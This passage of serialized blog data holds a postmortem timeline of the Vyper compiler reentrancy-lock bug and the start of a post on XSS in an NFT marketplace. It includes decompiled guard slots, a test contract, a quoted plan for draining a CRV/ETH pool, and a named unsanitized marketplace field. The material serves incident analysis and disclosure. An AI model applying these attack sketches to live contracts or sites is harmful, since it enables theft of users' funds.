optimization.",{"type":22,"tag":20388,"props":32291,"children":32293},{"className":32292,"dataFootnotes":7},[20391],[32294,32299],{"type":22,"tag":23,"props":32295,"children":32297},{"className":32296,"id":17455},[20396],[32298],{"type":28,"value":20399},{"type":22,"tag":4029,"props":32300,"children":32301},{},[32302,32336],{"type":22,"tag":68,"props":32303,"children":32305},{"id":32304},"user-content-fn-1",[32306,32308,32313,32315,32321,32323,32328,32330],{"type":28,"value":32307},"As an interesting aside, ",{"type":22,"tag":114,"props":32309,"children":32311},{"className":32310},[],[32312],{"type":28,"value":31309},{"type":28,"value":32314}," is an opaque function which prevents optimizations from reasoning about the free memory pointer. This leads to some rather counterintitive behavior -- ",{"type":22,"tag":114,"props":32316,"children":32318},{"className":32317},[],[32319],{"type":28,"value":32320},"memory-unsafe",{"type":28,"value":32322}," code can ",{"type":22,"tag":4764,"props":32324,"children":32325},{},[32326],{"type":28,"value":32327},"decrease",{"type":28,"value":32329}," gas consumption, especially in the YUL header. ",{"type":22,"tag":42,"props":32331,"children":32334},{"href":32332,"ariaLabel":20502,"className":32333,"dataFootnoteBackref":7},"#user-content-fnref-1",[20504],[32335],{"type":28,"value":20507},{"type":22,"tag":68,"props":32337,"children":32339},{"id":32338},"user-content-fn-2",[32340,32342,32347,32349],{"type":28,"value":32341},"Unfortunately the documentation only presents a \"non-exhaustive list of restrictions\" on verbatim bytecode. In practice, it seems hard to ",{"type":22,"tag":4764,"props":32343,"children":32344},{},[32345],{"type":28,"value":32346},"guarantee",{"type":28,"value":32348}," behavior with opaque bytes. ",{"type":22,"tag":42,"props":32350,"children":32353},{"href":32351,"ariaLabel":20522,"className":32352,"dataFootnoteBackref":7},"#user-content-fnref-2",[20504],[32354],{"type":28,"value":20507},{"type":22,"tag":4880,"props":32356,"children":32357},{},[32358],{"type":28,"value":4884},{"title":7,"searchDepth":142,"depth":142,"links":32360},[32361,32362,32363,32364,32365,32366,32367],{"id":25,"depth":142,"text":29},{"id":31007,"depth":142,"text":31010},{"id":31271,"depth":142,"text":31274},{"id":31002,"depth":142,"text":31495},{"id":31841,"depth":142,"text":31844},{"id":7321,"depth":142,"text":7324},{"id":17455,"depth":142,"text":20399},"content:blog:2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety",{"_path":32372,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":32373,"description":32374,"author":7730,"image":32375,"date":32377,"isFeatured":15,"onBlogPage":15,"tags":32378,"body":32380,"_type":4896,"_id":33131,"_source":4898,"_file":33132,"_stem":33133,"_extension":4901},"/blog/2023-08-01-vyper-timeline","Vyper Hack Timeline","A timeline and postmortem for the Vyper compiler bug. Thoughts on trust assumptions, vulnerability disclosures, and whitehack recoveries.",{"src":32376,"height":13,"width":13},"/posts/vyper-timeline/header.jpg","2023-08-01",[32379,30950],"vyper",{"type":19,"children":32381,"toc":33122},[32382,32387,32392,32397,32403,32408,32426,32436,32441,32449,32459,32478,32558,32568,32728,32733,32738,32748,32755,32760,32765,32779,32784,32801,32818,32837,32847,32860,32865,32878,32883,32888,32898,32925,32935,32965,32971,32980,32986,32991,32996,33001,33007,33012,33026,33031,33036,33041,33047,33052,33065,33091,33096,33118],{"type":22,"tag":31,"props":32383,"children":32384},{},[32385],{"type":28,"value":32386},"\"Trust but verify\" is a common adage. \"Hindsight is 20/20\" is another one. The best bugs are those hiding in plain sight.",{"type":22,"tag":31,"props":32388,"children":32389},{},[32390],{"type":28,"value":32391},"Compiler bugs are located deep in the supply chain, making their effects far more widespread than normal protocol bugs. Numerous contracts across different chains were compiled with vulnerable Vyper versions - it was a race against blackhats.",{"type":22,"tag":31,"props":32393,"children":32394},{},[32395],{"type":28,"value":32396},"Here's how it all happened.",{"type":22,"tag":23,"props":32398,"children":32400},{"id":32399},"timeline",[32401],{"type":28,"value":32402},"Timeline",{"type":22,"tag":31,"props":32404,"children":32405},{},[32406],{"type":28,"value":32407},"As a note, I'll use the \"we\" pronoun loosely here. I think I personally made some insightful contributions towards the initial vulnerability discovery but countless others helped far more throughout the entire process.",{"type":22,"tag":31,"props":32409,"children":32410},{},[32411,32416,32418,32425],{"type":22,"tag":74,"props":32412,"children":32413},{},[32414],{"type":28,"value":32415},"13:10 UTC",{"type":28,"value":32417}," pETH/ETH was ",{"type":22,"tag":42,"props":32419,"children":32422},{"href":32420,"rel":32421},"https://etherscan.io/tx/0xa84aa065ce61dbb1eb50ab6ae67fc31a9da50dd2c74eefd561661bfce2f1620c",[46],[32423],{"type":28,"value":32424},"drained of $11M",{"type":28,"value":292},{"type":22,"tag":31,"props":32427,"children":32428},{},[32429,32434],{"type":22,"tag":74,"props":32430,"children":32431},{},[32432],{"type":28,"value":32433},"13:19 UTC",{"type":28,"value":32435}," Michal posted in ETHSecurity about a sudden drop in pETH price.",{"type":22,"tag":31,"props":32437,"children":32438},{},[32439],{"type":28,"value":32440},"Igor first noticed something was off. Thanks to him, we dug deeper.",{"type":22,"tag":1269,"props":32442,"children":32443},{},[32444],{"type":22,"tag":31,"props":32445,"children":32446},{},[32447],{"type":28,"value":32448},"But how did the bot reenter into add_liquidity() from remove_liquidity()?",{"type":22,"tag":31,"props":32450,"children":32451},{},[32452,32457],{"type":22,"tag":74,"props":32453,"children":32454},{},[32455],{"type":28,"value":32456},"14:01 UTC",{"type":28,"value":32458}," A warroom was formed around this comment.",{"type":22,"tag":31,"props":32460,"children":32461},{},[32462,32467,32469,32476],{"type":22,"tag":74,"props":32463,"children":32464},{},[32465],{"type":28,"value":32466},"14:07 UTC",{"type":28,"value":32468}," We decompiled the JPEGd contract ",{"type":22,"tag":42,"props":32470,"children":32473},{"href":32471,"rel":32472},"https://ethervm.io/decompile",[46],[32474],{"type":28,"value":32475},"with our favorite decompiler",{"type":28,"value":32477}," and noted a difference in reentrancy guard storage slot.",{"type":22,"tag":107,"props":32479,"children":32483},{"className":32480,"code":32481,"language":32482,"meta":7,"style":7},"language-yul shiki shiki-themes slack-dark","// Dispatch table entry for add_liquidity(uint256[2],uint256)\nlabel_0057:\n    if (storage[0x00]) { revert(memory[0x00:0x00]); }\n    storage[0x00] = 0x01;\n\n// Dispatch table entry for remove_liquidity(uint256,uint256[2])\nlabel_1AF3:\n    if (storage[0x02]) { revert(memory[0x00:0x00]); }\n    storage[0x02] = 0x01;\n","yul",[32484],{"type":22,"tag":114,"props":32485,"children":32486},{"__ignoreMap":7},[32487,32495,32503,32511,32519,32526,32534,32542,32550],{"type":22,"tag":118,"props":32488,"children":32489},{"class":120,"line":121},[32490],{"type":22,"tag":118,"props":32491,"children":32492},{},[32493],{"type":28,"value":32494},"// Dispatch table entry for add_liquidity(uint256[2],uint256)\n",{"type":22,"tag":118,"props":32496,"children":32497},{"class":120,"line":142},[32498],{"type":22,"tag":118,"props":32499,"children":32500},{},[32501],{"type":28,"value":32502},"label_0057:\n",{"type":22,"tag":118,"props":32504,"children":32505},{"class":120,"line":177},[32506],{"type":22,"tag":118,"props":32507,"children":32508},{},[32509],{"type":28,"value":32510},"    if (storage[0x00]) { revert(memory[0x00:0x00]); }\n",{"type":22,"tag":118,"props":32512,"children":32513},{"class":120,"line":195},[32514],{"type":22,"tag":118,"props":32515,"children":32516},{},[32517],{"type":28,"value":32518},"    storage[0x00] = 0x01;\n",{"type":22,"tag":118,"props":32520,"children":32521},{"class":120,"line":244},[32522],{"type":22,"tag":118,"props":32523,"children":32524},{"emptyLinePlaceholder":15},[32525],{"type":28,"value":250},{"type":22,"tag":118,"props":32527,"children":32528},{"class":120,"line":253},[32529],{"type":22,"tag":118,"props":32530,"children":32531},{},[32532],{"type":28,"value":32533},"// Dispatch table entry for remove_liquidity(uint256,uint256[2])\n",{"type":22,"tag":118,"props":32535,"children":32536},{"class":120,"line":263},[32537],{"type":22,"tag":118,"props":32538,"children":32539},{},[32540],{"type":28,"value":32541},"label_1AF3:\n",{"type":22,"tag":118,"props":32543,"children":32544},{"class":120,"line":318},[32545],{"type":22,"tag":118,"props":32546,"children":32547},{},[32548],{"type":28,"value":32549},"    if (storage[0x02]) { revert(memory[0x00:0x00]); }\n",{"type":22,"tag":118,"props":32551,"children":32552},{"class":120,"line":351},[32553],{"type":22,"tag":118,"props":32554,"children":32555},{},[32556],{"type":28,"value":32557},"    storage[0x02] = 0x01;\n",{"type":22,"tag":31,"props":32559,"children":32560},{},[32561,32566],{"type":22,"tag":74,"props":32562,"children":32563},{},[32564],{"type":28,"value":32565},"14:27 UTC",{"type":28,"value":32567}," We confirmed this behavior with a simple local test contract.",{"type":22,"tag":107,"props":32569,"children":32571},{"className":21429,"code":32570,"language":21428,"meta":7,"style":7},"@external\n@nonreentrant(\"lock\")\ndef test(addr: address) -> bool:\n    return True\n\n@external\n@nonreentrant(\"lock\")\ndef test2(addr: address) -> bool:\n    return False\n",[32572],{"type":22,"tag":114,"props":32573,"children":32574},{"__ignoreMap":7},[32575,32583,32604,32639,32651,32658,32665,32684,32716],{"type":22,"tag":118,"props":32576,"children":32577},{"class":120,"line":121},[32578],{"type":22,"tag":118,"props":32579,"children":32580},{"style":532},[32581],{"type":28,"value":32582},"@external\n",{"type":22,"tag":118,"props":32584,"children":32585},{"class":120,"line":142},[32586,32591,32595,32600],{"type":22,"tag":118,"props":32587,"children":32588},{"style":532},[32589],{"type":28,"value":32590},"@nonreentrant",{"type":22,"tag":118,"props":32592,"children":32593},{"style":125},[32594],{"type":28,"value":540},{"type":22,"tag":118,"props":32596,"children":32597},{"style":1866},[32598],{"type":28,"value":32599},"\"lock\"",{"type":22,"tag":118,"props":32601,"children":32602},{"style":125},[32603],{"type":28,"value":3665},{"type":22,"tag":118,"props":32605,"children":32606},{"class":120,"line":177},[32607,32612,32617,32621,32626,32631,32635],{"type":22,"tag":118,"props":32608,"children":32609},{"style":146},[32610],{"type":28,"value":32611},"def",{"type":22,"tag":118,"props":32613,"children":32614},{"style":532},[32615],{"type":28,"value":32616}," test",{"type":22,"tag":118,"props":32618,"children":32619},{"style":125},[32620],{"type":28,"value":540},{"type":22,"tag":118,"props":32622,"children":32623},{"style":204},[32624],{"type":28,"value":32625},"addr",{"type":22,"tag":118,"props":32627,"children":32628},{"style":125},[32629],{"type":28,"value":32630},": address) -> ",{"type":22,"tag":118,"props":32632,"children":32633},{"style":131},[32634],{"type":28,"value":3065},{"type":22,"tag":118,"props":32636,"children":32637},{"style":125},[32638],{"type":28,"value":7578},{"type":22,"tag":118,"props":32640,"children":32641},{"class":120,"line":195},[32642,32646],{"type":22,"tag":118,"props":32643,"children":32644},{"style":1480},[32645],{"type":28,"value":18954},{"type":22,"tag":118,"props":32647,"children":32648},{"style":146},[32649],{"type":28,"value":32650}," True\n",{"type":22,"tag":118,"props":32652,"children":32653},{"class":120,"line":244},[32654],{"type":22,"tag":118,"props":32655,"children":32656},{"emptyLinePlaceholder":15},[32657],{"type":28,"value":250},{"type":22,"tag":118,"props":32659,"children":32660},{"class":120,"line":253},[32661],{"type":22,"tag":118,"props":32662,"children":32663},{"style":532},[32664],{"type":28,"value":32582},{"type":22,"tag":118,"props":32666,"children":32667},{"class":120,"line":263},[32668,32672,32676,32680],{"type":22,"tag":118,"props":32669,"children":32670},{"style":532},[32671],{"type":28,"value":32590},{"type":22,"tag":118,"props":32673,"children":32674},{"style":125},[32675],{"type":28,"value":540},{"type":22,"tag":118,"props":32677,"children":32678},{"style":1866},[32679],{"type":28,"value":32599},{"type":22,"tag":118,"props":32681,"children":32682},{"style":125},[32683],{"type":28,"value":3665},{"type":22,"tag":118,"props":32685,"children":32686},{"class":120,"line":318},[32687,32691,32696,32700,32704,32708,32712],{"type":22,"tag":118,"props":32688,"children":32689},{"style":146},[32690],{"type":28,"value":32611},{"type":22,"tag":118,"props":32692,"children":32693},{"style":532},[32694],{"type":28,"value":32695}," test2",{"type":22,"tag":118,"props":32697,"children":32698},{"style":125},[32699],{"type":28,"value":540},{"type":22,"tag":118,"props":32701,"children":32702},{"style":204},[32703],{"type":28,"value":32625},{"type":22,"tag":118,"props":32705,"children":32706},{"style":125},[32707],{"type":28,"value":32630},{"type":22,"tag":118,"props":32709,"children":32710},{"style":131},[32711],{"type":28,"value":3065},{"type":22,"tag":118,"props":32713,"children":32714},{"style":125},[32715],{"type":28,"value":7578},{"type":22,"tag":118,"props":32717,"children":32718},{"class":120,"line":351},[32719,32723],{"type":22,"tag":118,"props":32720,"children":32721},{"style":1480},[32722],{"type":28,"value":18954},{"type":22,"tag":118,"props":32724,"children":32725},{"style":146},[32726],{"type":28,"value":32727}," False\n",{"type":22,"tag":31,"props":32729,"children":32730},{},[32731],{"type":28,"value":32732},"This was not just another reentrancy bug.",{"type":22,"tag":31,"props":32734,"children":32735},{},[32736],{"type":28,"value":32737},"At this point, we realized just how impactful this would be. There was a blackout of information, and we deleted public messages on the nature of the vulnerability.",{"type":22,"tag":31,"props":32739,"children":32740},{},[32741,32746],{"type":22,"tag":74,"props":32742,"children":32743},{},[32744],{"type":28,"value":32745},"14:37 UTC",{"type":28,"value":32747}," Wavey helped identify the vulnerable commit and affected versions. This was also confirmed by me and Charles by manually inspecting the Vyper compiler output.",{"type":22,"tag":31,"props":32749,"children":32750},{},[32751],{"type":22,"tag":5928,"props":32752,"children":32754},{"alt":7,"src":32753},"/posts/vyper-timeline/sstore.png",[],{"type":22,"tag":31,"props":32756,"children":32757},{},[32758],{"type":28,"value":32759},"It was a race with the hackers.",{"type":22,"tag":31,"props":32761,"children":32762},{},[32763],{"type":28,"value":32764},"Thankfully, people were still confusing this for read-only reentrancy. Taken from the \"Web3 Security Alerts\" channel.",{"type":22,"tag":1269,"props":32766,"children":32767},{},[32768],{"type":22,"tag":31,"props":32769,"children":32770},{},[32771,32773],{"type":28,"value":32772},"Alchemix and Metronome DAO also been hacked due to this read-only reentrancy bug: ",{"type":22,"tag":42,"props":32774,"children":32777},{"href":32775,"rel":32776},"https://twitter.com/hexagate_/status/1685677801813217280",[46],[32778],{"type":28,"value":32775},{"type":22,"tag":31,"props":32780,"children":32781},{},[32782],{"type":28,"value":32783},"Michael identified alETH and msETH pools, which were also running 0.2.15, as being also potentially vulnerable.",{"type":22,"tag":31,"props":32785,"children":32786},{},[32787,32792,32793,32800],{"type":22,"tag":74,"props":32788,"children":32789},{},[32790],{"type":28,"value":32791},"14:50 UTC",{"type":28,"value":8467},{"type":22,"tag":42,"props":32794,"children":32797},{"href":32795,"rel":32796},"https://etherscan.io/tx/0xc93eb238ff42632525e990119d3edc7775299a70b56e54d83ec4f53736400964",[46],[32798],{"type":28,"value":32799},"msETH/ETH was drained",{"type":28,"value":292},{"type":22,"tag":31,"props":32802,"children":32803},{},[32804,32809,32810,32817],{"type":22,"tag":74,"props":32805,"children":32806},{},[32807],{"type":28,"value":32808},"15:34 UTC",{"type":28,"value":8467},{"type":22,"tag":42,"props":32811,"children":32814},{"href":32812,"rel":32813},"https://etherscan.io/tx/0xb676d789bb8b66a08105c844a49c2bcffb400e5c1cfabd4bc30cca4bff3c9801",[46],[32815],{"type":28,"value":32816},"alETH/ETH was drained",{"type":28,"value":292},{"type":22,"tag":31,"props":32819,"children":32820},{},[32821,32826,32828,32835],{"type":22,"tag":74,"props":32822,"children":32823},{},[32824],{"type":28,"value":32825},"15:43 UTC",{"type":28,"value":32827}," We identified that ",{"type":22,"tag":42,"props":32829,"children":32832},{"href":32830,"rel":32831},"https://etherscan.io/address/0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511#code",[46],[32833],{"type":28,"value":32834},"CRV/ETH was vulnerable",{"type":28,"value":32836},", compiled using Vyper version 3.0.0. It was critical that we kept the nature of affected contracts secret for as long as possible.",{"type":22,"tag":31,"props":32838,"children":32839},{},[32840,32845],{"type":22,"tag":74,"props":32841,"children":32842},{},[32843],{"type":28,"value":32844},"16:11 UTC",{"type":28,"value":32846}," We began working on a whitehat exploit.",{"type":22,"tag":31,"props":32848,"children":32849},{},[32850,32852,32859],{"type":28,"value":32851},"Unfortunately, too many groups were doing independent research in parallel and rumors were spreading. At 16:44 UTC, we decided to release a ",{"type":22,"tag":42,"props":32853,"children":32856},{"href":32854,"rel":32855},"https://twitter.com/vyperlang/status/1685692973051498497",[46],[32857],{"type":28,"value":32858},"public statement on affected versions",{"type":28,"value":292},{"type":22,"tag":31,"props":32861,"children":32862},{},[32863],{"type":28,"value":32864},"By 18:32 UTC, we had a proof of concept exploit to be used in a potential whitehat recovery. bpak from Chainlight was also working on an exploit in parallel, and shared it at 19:06 UTC.",{"type":22,"tag":31,"props":32866,"children":32867},{},[32868,32870,32877],{"type":28,"value":32869},"Five minutes later at 19:11 UTC, ",{"type":22,"tag":42,"props":32871,"children":32874},{"href":32872,"rel":32873},"https://etherscan.io/tx/0x2e7dc8b2fb7e25fd00ed9565dcc0ad4546363171d5e00f196d48103983ae477c",[46],[32875],{"type":28,"value":32876},"somebody else stole the funds",{"type":28,"value":292},{"type":22,"tag":31,"props":32879,"children":32880},{},[32881],{"type":28,"value":32882},"The attack structure was largely different from either of our proofs of concept, so it was unlikely to have been a leak from our group. Regardless, this was pretty demoralizing.",{"type":22,"tag":31,"props":32884,"children":32885},{},[32886],{"type":28,"value":32887},"Nevertheless, there was more ground to cover.",{"type":22,"tag":31,"props":32889,"children":32890},{},[32891,32896],{"type":22,"tag":74,"props":32892,"children":32893},{},[32894],{"type":28,"value":32895},"21:26 UTC",{"type":28,"value":32897}," Addison proposed an ambitious plan to recover the remaining assets in the CRVETH pool.",{"type":22,"tag":1269,"props":32899,"children":32900},{},[32901],{"type":22,"tag":31,"props":32902,"children":32903},{},[32904,32906,32910,32912,32915,32917,32920,32922],{"type":28,"value":32905},"if you send like 30k crv to the crv/eth pool ",{"type":22,"tag":32907,"props":32908,"children":32909},"br",{},[],{"type":28,"value":32911},"\nyou can then update admin fee ",{"type":22,"tag":32907,"props":32913,"children":32914},{},[],{"type":28,"value":32916},"\nand then the crv/eth rate is like .15 eth per crv ",{"type":22,"tag":32907,"props":32918,"children":32919},{},[],{"type":28,"value":32921},"\nso you can basically drain whole pool for few hundred K crv ",{"type":22,"tag":32907,"props":32923,"children":32924},{},[],{"type":22,"tag":31,"props":32926,"children":32927},{},[32928,32933],{"type":22,"tag":74,"props":32929,"children":32930},{},[32931],{"type":28,"value":32932},"21:52 UTC",{"type":28,"value":32934}," bpak had produced a working proof of concept which could recover 3100 ETH.",{"type":22,"tag":31,"props":32936,"children":32937},{},[32938,32940,32947,32949,32956,32964],{"type":28,"value":32939},"Ten minutes later at 22:02 UTC, we were beaten again. By some freak concidence, the ",{"type":22,"tag":42,"props":32941,"children":32944},{"href":32942,"rel":32943},"https://etherscan.io/address/0x8c73d39b2da2dd1a10cc16502bc7c8d768ec74c9",[46],[32945],{"type":28,"value":32946},"CRV admin fee bot",{"type":28,"value":32948}," had claimed fees and ",{"type":22,"tag":42,"props":32950,"children":32953},{"href":32951,"rel":32952},"https://etherscan.io/tx/0xcd99fadd7e28a42a063e07d9d86f67c88e10a7afe5921bd28cd1124924ae2052",[46],[32954],{"type":28,"value":32955},"the pool was drained",{"type":22,"tag":17448,"props":32957,"children":32958},{},[32959],{"type":22,"tag":42,"props":32960,"children":32962},{"href":31562,"ariaDescribedBy":32961,"dataFootnoteRef":7,"id":31564},[17455],[32963],{"type":28,"value":6026},{"type":28,"value":292},{"type":22,"tag":23,"props":32966,"children":32968},{"id":32967},"blame",[32969],{"type":28,"value":32970},"Blame",{"type":22,"tag":31,"props":32972,"children":32973},{},[32974,32978],{"type":22,"tag":4764,"props":32975,"children":32976},{},[32977],{"type":28,"value":32970},{"type":28,"value":32979}," is a strong word. It's not productive to point fingers. At the same time, I think it's useful to think about what could have went better.",{"type":22,"tag":1289,"props":32981,"children":32983},{"id":32982},"races",[32984],{"type":28,"value":32985},"Races",{"type":22,"tag":31,"props":32987,"children":32988},{},[32989],{"type":28,"value":32990},"In both cases, whitehat efforts were beaten by less than half an hour. Sometimes every second really does count.",{"type":22,"tag":31,"props":32992,"children":32993},{},[32994],{"type":28,"value":32995},"There likely could have been better preparation and resources for executing on these attacks. At the same time, this seems like a double-edged sword. Is it really a good idea to aggregate information related how to execute a hack? Who should we trust?",{"type":22,"tag":31,"props":32997,"children":32998},{},[32999],{"type":28,"value":33000},"On the other hand, I think the process was quite efficient. We went from initial suspicions to identifying vulnerable variants in 2 hours and 4 minutes.",{"type":22,"tag":1289,"props":33002,"children":33004},{"id":33003},"information-leakage",[33005],{"type":28,"value":33006},"Information Leakage",{"type":22,"tag":31,"props":33008,"children":33009},{},[33010],{"type":28,"value":33011},"I was both an auditor and a whitehat.",{"type":22,"tag":31,"props":33013,"children":33014},{},[33015,33017,33024],{"type":28,"value":33016},"There's a strong culture of publishing in auditing. We're paid for technical thought leadership and deep understanding of vulnerabilities. One way to demonstrate this is ",{"type":22,"tag":42,"props":33018,"children":33021},{"href":33019,"rel":33020},"https://twitter.com/osec_io/status/1579969927020412929",[46],[33022],{"type":28,"value":33023},"by publishing the \"scoop\"",{"type":28,"value":33025}," on hacks in the wild. Researchers cost a lot and the return on investment is publicity.",{"type":22,"tag":31,"props":33027,"children":33028},{},[33029],{"type":28,"value":33030},"On the other hand, there's a compelling argument that early disclosure of the affected versions had a material impact on the whitehat recovery.",{"type":22,"tag":31,"props":33032,"children":33033},{},[33034],{"type":28,"value":33035},"Half an hour more could have saved $18M.",{"type":22,"tag":31,"props":33037,"children":33038},{},[33039],{"type":28,"value":33040},"Auditors don't pay for externalities created by their reporting. Instead, they get rewarded with likes, retweets, and publicity. Seems like a hard problem.",{"type":22,"tag":23,"props":33042,"children":33044},{"id":33043},"next-steps",[33045],{"type":28,"value":33046},"Next Steps",{"type":22,"tag":31,"props":33048,"children":33049},{},[33050],{"type":28,"value":33051},"I disagree with takes like \"we need formal verification to solve this\". This bug could have been caught with a unit test. Formal verification is very useful for many bug classes, but I'm not convinced it's as useful for relatively simple, non-optimizing compilers.",{"type":22,"tag":31,"props":33053,"children":33054},{},[33055,33057,33064],{"type":28,"value":33056},"It's important to note that this bug ",{"type":22,"tag":42,"props":33058,"children":33061},{"href":33059,"rel":33060},"https://twitter.com/real_philogy/status/1685948253139857409",[46],[33062],{"type":28,"value":33063},"was patched since November 2021",{"type":28,"value":292},{"type":22,"tag":1269,"props":33066,"children":33067},{},[33068],{"type":22,"tag":31,"props":33069,"children":33070},{},[33071,33073,33078,33079,33082,33084,33089],{"type":28,"value":33072},"I think this Vyper 0day is less about the skill of the Vyper team or the language itself but more about ",{"type":22,"tag":4764,"props":33074,"children":33075},{},[33076],{"type":28,"value":33077},"processes",{"type":28,"value":20498},{"type":22,"tag":32907,"props":33080,"children":33081},{},[],{"type":28,"value":33083},"\nThe bug was a fixed many versions of Vyper ago, the actual oversight was not realizing the potential impact to projects at the time it ",{"type":22,"tag":4764,"props":33085,"children":33086},{},[33087],{"type":28,"value":33088},"was",{"type":28,"value":33090}," fixed.",{"type":22,"tag":31,"props":33092,"children":33093},{},[33094],{"type":28,"value":33095},"Unfortunately, public goods get easily forgotten. With immutable contracts, projects can have implicit dependencies on code written years ago. Protocol developers and security experts should stay up to date on security developments across the entire execution stack.",{"type":22,"tag":20388,"props":33097,"children":33099},{"className":33098,"dataFootnotes":7},[20391],[33100,33105],{"type":22,"tag":23,"props":33101,"children":33103},{"className":33102,"id":17455},[20396],[33104],{"type":28,"value":20399},{"type":22,"tag":4029,"props":33106,"children":33107},{},[33108],{"type":22,"tag":68,"props":33109,"children":33110},{"id":32304},[33111,33113],{"type":28,"value":33112},"Thankfully, these funds were later returned. ",{"type":22,"tag":42,"props":33114,"children":33116},{"href":32332,"ariaLabel":20502,"className":33115,"dataFootnoteBackref":7},[20504],[33117],{"type":28,"value":20507},{"type":22,"tag":4880,"props":33119,"children":33120},{},[33121],{"type":28,"value":4884},{"title":7,"searchDepth":142,"depth":142,"links":33123},[33124,33125,33129,33130],{"id":32399,"depth":142,"text":32402},{"id":32967,"depth":142,"text":32970,"children":33126},[33127,33128],{"id":32982,"depth":177,"text":32985},{"id":33003,"depth":177,"text":33006},{"id":33043,"depth":142,"text":33046},{"id":17455,"depth":142,"text":20399},"content:blog:2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline",{"_path":33135,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":33136,"description":33137,"author":33138,"image":33141,"date":33143,"isFeatured":15,"tags":33144,"onBlogPage":15,"body":33147,"_type":4896,"_id":37359,"_source":4898,"_file":37360,"_stem":37361,"_extension":4901},"/blog/2023-08-11-web2-bug-repellant-instructions","Web2 Bug Repellant Instructions","An analysis of security risks that don’t get enough attention - web2 bugs in web3 apps. We take a deep and practical look at vulnerabilities across various applications.",[33139,33140],"caue","bruno",{"src":33142,"height":13,"width":13},"/posts/web2-bug-repellant-instructions/web2-bug-repellant-instructions.jpg","2023-08-11",[33145,33146],"nft-marketplaces","xss",{"type":19,"children":33148,"toc":37342},[33149,33153,33158,33162,33167,33172,33177,33193,33199,33212,33234,33241,33246,33253,33258,33264,33269,33274,33279,33284,33295,33300,34268,34278,34290,34297,34302,35124,35129,35134,35139,35144,35928,35933,36015,36020,36089,36095,36100,36105,36332,36345,36350,36355,36360,36367,36372,36379,36385,36390,36395,36400,36719,36724,36730,36746,36752,36757,36762,36772,36777,36782,36791,36796,36802,36818,36831,36836,36841,36861,36868,36873,36880,36889,36894,36915,36968,36973,37024,37038,37043,37057,37172,37195,37279,37302,37307,37312,37317,37322,37327,37333,37338],{"type":22,"tag":23,"props":33150,"children":33151},{"id":25},[33152],{"type":28,"value":29},{"type":22,"tag":31,"props":33154,"children":33155},{},[33156],{"type":28,"value":33157},"Transitioning to a fully decentralized web is hard. Many Web 3 applications still have large, unexplored Web 2 attack surfaces.",{"type":22,"tag":1289,"props":33159,"children":33160},{"id":4950},[33161],{"type":28,"value":4953},{"type":22,"tag":31,"props":33163,"children":33164},{},[33165],{"type":28,"value":33166},"In this blog post, we'll explore these lingering threats and potential mitigations. This work summarizes our internal research against various applications, from NFT marketplaces to wallets to protocol frontends.",{"type":22,"tag":31,"props":33168,"children":33169},{},[33170],{"type":28,"value":33171},"As a note, generally applications with non-trivial frontends are more susceptible to these vulnerabilities. Hence, a lot of our research focused on the interactions with NFTs, an ideal Web 2.5 candidate in many senses.",{"type":22,"tag":23,"props":33173,"children":33174},{"id":33146},[33175],{"type":28,"value":33176},"XSS",{"type":22,"tag":31,"props":33178,"children":33179},{},[33180],{"type":22,"tag":4764,"props":33181,"children":33182},{},[33183,33185,33192],{"type":28,"value":33184},"I cannot make you understand. I cannot make anyone understand what is happening inside me. I cannot ",{"type":22,"tag":42,"props":33186,"children":33189},{"href":33187,"rel":33188},"https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting",[46],[33190],{"type":28,"value":33191},"even explain it to myself",{"type":28,"value":292},{"type":22,"tag":1289,"props":33194,"children":33196},{"id":33195},"managing-metadata",[33197],{"type":28,"value":33198},"Managing Metadata",{"type":22,"tag":31,"props":33200,"children":33201},{},[33202,33204,33211],{"type":28,"value":33203},"Effectively managing metadata is a challenge. When improperly sanitized, unsuspecting metadata becomes a dangerous sink for malicious ",{"type":22,"tag":42,"props":33205,"children":33208},{"href":33206,"rel":33207},"https://www.vice.com/en/article/xgdvaz/nft-steal-ip-address-opensea",[46],[33209],{"type":28,"value":33210},"payloads",{"type":28,"value":292},{"type":22,"tag":31,"props":33213,"children":33214},{},[33215,33217,33224,33226,33232],{"type":28,"value":33216},"We showcase this vulnerability in the ",{"type":22,"tag":42,"props":33218,"children":33221},{"href":33219,"rel":33220},"https://rocki.com/",[46],[33222],{"type":28,"value":33223},"Rocki Marketplace",{"type":28,"value":33225},". The ",{"type":22,"tag":114,"props":33227,"children":33229},{"className":33228},[],[33230],{"type":28,"value":33231},"artistDescription",{"type":28,"value":33233}," parameter was improperly sanitized, allowing arbitrary HTML input without any validation checks!",{"type":22,"tag":31,"props":33235,"children":33236},{},[33237],{"type":22,"tag":5928,"props":33238,"children":33240},{"alt":7,"src":33239},"/posts/web2-bug-repellant-instructions/metadata.png",[],{"type":22,"tag":31,"props":33242,"children":33243},{},[33244],{"type":28,"value":33245},"When a user loads such a maliciously constructed NFT, they'll unwittingly execute our payload, giving us full control over their account.",{"type":22,"tag":31,"props":33247,"children":33248},{},[33249],{"type":22,"tag":5928,"props":33250,"children":33252},{"alt":7,"src":33251},"/posts/web2-bug-repellant-instructions/xss.png",[],{"type":22,"tag":31,"props":33254,"children":33255},{},[33256],{"type":28,"value":33257},"Of course, this is merely a toy payload. An actual hacker could use this to spread through the marketplace, creating a wormable payload that takes over the entire website.",{"type":22,"tag":1289,"props":33259,"children":33261},{"id":33260},"wheres-my-wallet",[33262],{"type":28,"value":33263},"Where's My Wallet",{"type":22,"tag":31,"props":33265,"children":33266},{},[33267],{"type":28,"value":33268},"What's the worst that can happen? How does losing your wallet funds sound?",{"type":22,"tag":31,"props":33270,"children":33271},{},[33272],{"type":28,"value":33273},"Note that triggering this exploit requires some interaction. However, in practice users likely are not carefully examining the wallet prompts, especially on familiar sites.",{"type":22,"tag":31,"props":33275,"children":33276},{},[33277],{"type":28,"value":33278},"It is important to recognize that the presence of XSS in marketplaces can trigger the approval prompt in various wallets, including the attacker's assets.",{"type":22,"tag":31,"props":33280,"children":33281},{},[33282],{"type":28,"value":33283},"In the following example, this malicious transaction was initiated by a malicious code injected into rocki.com.",{"type":22,"tag":33285,"props":33286,"children":33288},"div",{"style":33287},"display:flex; align-items:center; 